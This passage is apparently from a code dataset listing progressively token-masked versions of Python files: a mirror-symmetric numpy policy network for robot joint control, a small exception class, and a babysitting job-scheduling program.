SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n", "<import token>\n<class token>\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n", "<import token>\n<class token>\n\n\nclass NP_Net_MirrorSym:\n <function token>\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n", "<import token>\n<class token>\n\n\nclass NP_Net_MirrorSym:\n <function token>\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n <function token>\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n", "<import token>\n<class token>\n\n\nclass NP_Net_MirrorSym:\n <function token>\n <function token>\n <function token>\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\n<function token>\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n <function token>\n\n\n<function token>\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n <function token>\n <function token>\n\n\n<function token>\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n <function token>\n <function token>\n <function token>\n\n\n<function token>\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass NP_Policy:\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<function token>\n<code token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n<function token>\n<code token>\n" ]
false
9,946
2ee1539e051677ad38ab7727ff5edefb1aebd015
class BaseException(Exception): def __init__(self, message=""): super(BaseException, self).__init__() self.message = message
[ "class BaseException(Exception):\n def __init__(self, message=\"\"):\n super(BaseException, self).__init__()\n self.message = message\n", "class BaseException(Exception):\n\n def __init__(self, message=''):\n super(BaseException, self).__init__()\n self.message = message\n", "class BaseException(Exception):\n <function token>\n", "<class token>\n" ]
false
9,947
f57fa2787934dc2a002f82aa1af1f1d9a7f90da5
""" file: babysit.py language: python3 author: [email protected] Parvathi Nair author: vpb8262 Vishal Bulchandani """ """ To compute the maximum pay a brother and sister can earn considering jobs that they can work on together or separately depending on the number of children to babysit """ from operator import * class Job: """ Job class which stores the attributes of the jobs """ def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate): self.day=day self.startTime=startTime self.endTime=endTime self.noOfChildren=noOfChildren self.hourlyRate=hourlyRate self.value=(endTime-startTime)/100*hourlyRate def __str__(self): return str(self.day)+ " " + str(self.startTime) + " "+ str(self.endTime) + " " +str(self.noOfChildren) + " " + str(self.hourlyRate)+ " " + str(self.value) #total is global variable total = 0 def takeInput(): """ Takes input from the console and creates objects and stores in a list jobList :return: jobList-list in which input is stored as objects """ n=int(input()) jobList=[] #taking n inputs and creating objects for i in range (n): str = input().strip('\n').split(" ") if int(str[1])>=600 and int(str[2])<=2300: jobs=Job (int(str[0]),int(str[1]),int(str[2]),int(str[3]),int(str[4])) jobList.append(jobs) return jobList def sortInputByEndTimeAndDay(jobList): """ Sorts the jobList based on day and then the endTime :param jobList: list of jobs :return: jobList in a sorted manner with respect to day and endTime """ jobList=sorted(jobList, key= attrgetter('day','endTime')) return jobList def divideJobs(jobList, maximum): """ Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index. :param jobList: sorted jobLists :param maximum: the maximum amongst the days being considered :return: segregatedJobs which is a list of lists """ segregatedJobs=[[0]]*(maximum) temp=jobList[0].day j = 0 for i in range(0,len(jobList)): if jobList[i].day==temp: segregatedJobs[j].append(jobList[i]) else: temp = jobList[i].day j += 1 segregatedJobs[j]=[0,jobList[i]] return segregatedJobs def computeRho(segregatedJob): """ To compute the Roh value in a list :param segregatedJob: jobs done in a particular day :return: rho: list in which computed rho is stored """ #inserting 0 at the 1st position rho = [0] count = 0 #calculating rho for i in range(1,len(segregatedJob)): j = i-1 while(j>0): if segregatedJob[i].startTime >= segregatedJob[j].endTime: count += 1 rho.append(j) break j=j-1 if count == 0: rho.append(0) count = 0 return rho def algo(segregatedJob): """ Implementing the interval scheduling algorithm :param segregatedJob: A sorted list of jobs of one particular day :return: None """ global total rho = computeRho(segregatedJob) r = len(rho); S = [[0 for x in range(r)] for y in range(r)] k = 0 #implementaion of scheduling algorithm while(k<len(S)): for j in range(k, len(S)): if k == j and j != 0 and segregatedJob[j].noOfChildren < 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[j - 1][k - 1]) elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4: S[j][k] = S[j - 1][k] elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S[j - 1][k - 1]) elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4: S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - 1][k]) else: pass S[k][j] = S[j][k] k += 1 length = len(S) #Adding the max pay for every individual field in the matrix total += S[length-1][length-1] def main(): """ Main function. return: None """ global total jobList=takeInput() jobListSorted=sortInputByEndTimeAndDay(jobList) maximum=jobListSorted[len(jobListSorted)-1].day segregatedJobs=divideJobs(jobListSorted, maximum) for i in range (len(segregatedJobs)): algo(segregatedJobs[i]) # print the total pay print(int(total)) if __name__ == '__main__': main()
[ "\"\"\"\nfile: babysit.py\nlanguage: python3\nauthor: [email protected] Parvathi Nair\nauthor: vpb8262 Vishal Bulchandani\n\n\"\"\"\n\"\"\"\nTo compute the maximum pay a brother and sister can earn considering jobs that they can work on\ntogether or separately depending on the number of children to babysit\n\n\"\"\"\nfrom operator import *\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day=day\n self.startTime=startTime\n self.endTime=endTime\n self.noOfChildren=noOfChildren\n self.hourlyRate=hourlyRate\n self.value=(endTime-startTime)/100*hourlyRate\n\n def __str__(self):\n return str(self.day)+ \" \" + str(self.startTime) + \" \"+ str(self.endTime) + \" \" +str(self.noOfChildren) + \" \" + str(self.hourlyRate)+ \" \" + str(self.value)\n\n#total is global variable\ntotal = 0\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n=int(input())\n jobList=[]\n\n #taking n inputs and creating objects\n for i in range (n):\n str = input().strip('\\n').split(\" \")\n if int(str[1])>=600 and int(str[2])<=2300:\n jobs=Job (int(str[0]),int(str[1]),int(str[2]),int(str[3]),int(str[4]))\n jobList.append(jobs)\n return jobList\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList=sorted(jobList, key= attrgetter('day','endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n\n segregatedJobs=[[0]]*(maximum)\n\n temp=jobList[0].day\n j = 0\n for i in range(0,len(jobList)):\n if jobList[i].day==temp:\n segregatedJobs[j].append(jobList[i])\n\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j]=[0,jobList[i]]\n\n return segregatedJobs\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n\n #inserting 0 at the 1st position\n rho = [0]\n count = 0\n\n #calculating rho\n for i in range(1,len(segregatedJob)):\n j = i-1\n while(j>0):\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j=j-1\n if count == 0:\n rho.append(0)\n count = 0\n\n\n return rho\n\n\ndef algo(segregatedJob):\n \"\"\"\n Implementing the interval scheduling algorithm\n :param segregatedJob: A sorted list of jobs of one particular day\n :return: None\n \"\"\"\n global total\n rho = computeRho(segregatedJob)\n r = len(rho);\n\n S = [[0 for x in range(r)] for y in range(r)]\n k = 0\n #implementaion of scheduling algorithm\n while(k<len(S)):\n for j in range(k, len(S)):\n if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[j - 1][k - 1])\n\n elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = S[j - 1][k]\n\n elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S[j - 1][k - 1])\n\n elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - 1][k])\n else:\n pass\n S[k][j] = S[j][k]\n k += 1\n length = len(S)\n\n #Adding the max pay for every individual field in the matrix\n total += S[length-1][length-1]\n\ndef main():\n \"\"\"\n Main function.\n return: None\n \"\"\"\n global total\n jobList=takeInput()\n jobListSorted=sortInputByEndTimeAndDay(jobList)\n maximum=jobListSorted[len(jobListSorted)-1].day\n segregatedJobs=divideJobs(jobListSorted, maximum)\n for i in range (len(segregatedJobs)):\n algo(segregatedJobs[i])\n\n # print the total pay\n print(int(total))\n\nif __name__ == '__main__':\n main()", "<docstring token>\nfrom operator import *\n\n\nclass Job:\n \"\"\"\n Job class which stores the attributes of the jobs\n \"\"\"\n\n def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):\n self.day = day\n self.startTime = startTime\n self.endTime = endTime\n self.noOfChildren = noOfChildren\n self.hourlyRate = hourlyRate\n self.value = (endTime - startTime) / 100 * hourlyRate\n\n def __str__(self):\n return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.\n endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate\n ) + ' ' + str(self.value)\n\n\ntotal = 0\n\n\ndef takeInput():\n \"\"\"\n Takes input from the console and creates objects and stores in a list jobList\n :return: jobList-list in which input is stored as objects\n \"\"\"\n n = int(input())\n jobList = []\n for i in range(n):\n str = input().strip('\\n').split(' ')\n if int(str[1]) >= 600 and int(str[2]) <= 2300:\n jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),\n int(str[4]))\n jobList.append(jobs)\n return jobList\n\n\ndef sortInputByEndTimeAndDay(jobList):\n \"\"\"\n Sorts the jobList based on day and then the endTime\n :param jobList: list of jobs\n :return: jobList in a sorted manner with respect to day and endTime\n \"\"\"\n jobList = sorted(jobList, key=attrgetter('day', 'endTime'))\n return jobList\n\n\ndef divideJobs(jobList, maximum):\n \"\"\"\n Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.\n :param jobList: sorted jobLists\n :param maximum: the maximum amongst the days being considered\n :return: segregatedJobs which is a list of lists\n \"\"\"\n segregatedJobs = [[0]] * maximum\n temp = jobList[0].day\n j = 0\n for i in range(0, len(jobList)):\n if jobList[i].day == temp:\n segregatedJobs[j].append(jobList[i])\n else:\n temp = jobList[i].day\n j += 1\n segregatedJobs[j] = [0, jobList[i]]\n return segregatedJobs\n\n\ndef computeRho(segregatedJob):\n \"\"\"\n To compute the Roh value in a list\n :param segregatedJob: jobs done in a particular day\n :return: rho: list in which computed rho is stored\n \"\"\"\n rho = [0]\n count = 0\n for i in range(1, len(segregatedJob)):\n j = i - 1\n while j > 0:\n if segregatedJob[i].startTime >= segregatedJob[j].endTime:\n count += 1\n rho.append(j)\n break\n j = j - 1\n if count == 0:\n rho.append(0)\n count = 0\n return rho\n\n\ndef algo(segregatedJob):\n \"\"\"\n Implementing the interval scheduling algorithm\n :param segregatedJob: A sorted list of jobs of one particular day\n :return: None\n \"\"\"\n global total\n rho = computeRho(segregatedJob)\n r = len(rho)\n S = [[(0) for x in range(r)] for y in range(r)]\n k = 0\n while k < len(S):\n for j in range(k, len(S)):\n if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:\n S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[\n j - 1][k - 1])\n elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:\n S[j][k] = S[j - 1][k]\n elif k == j and j != 0 and 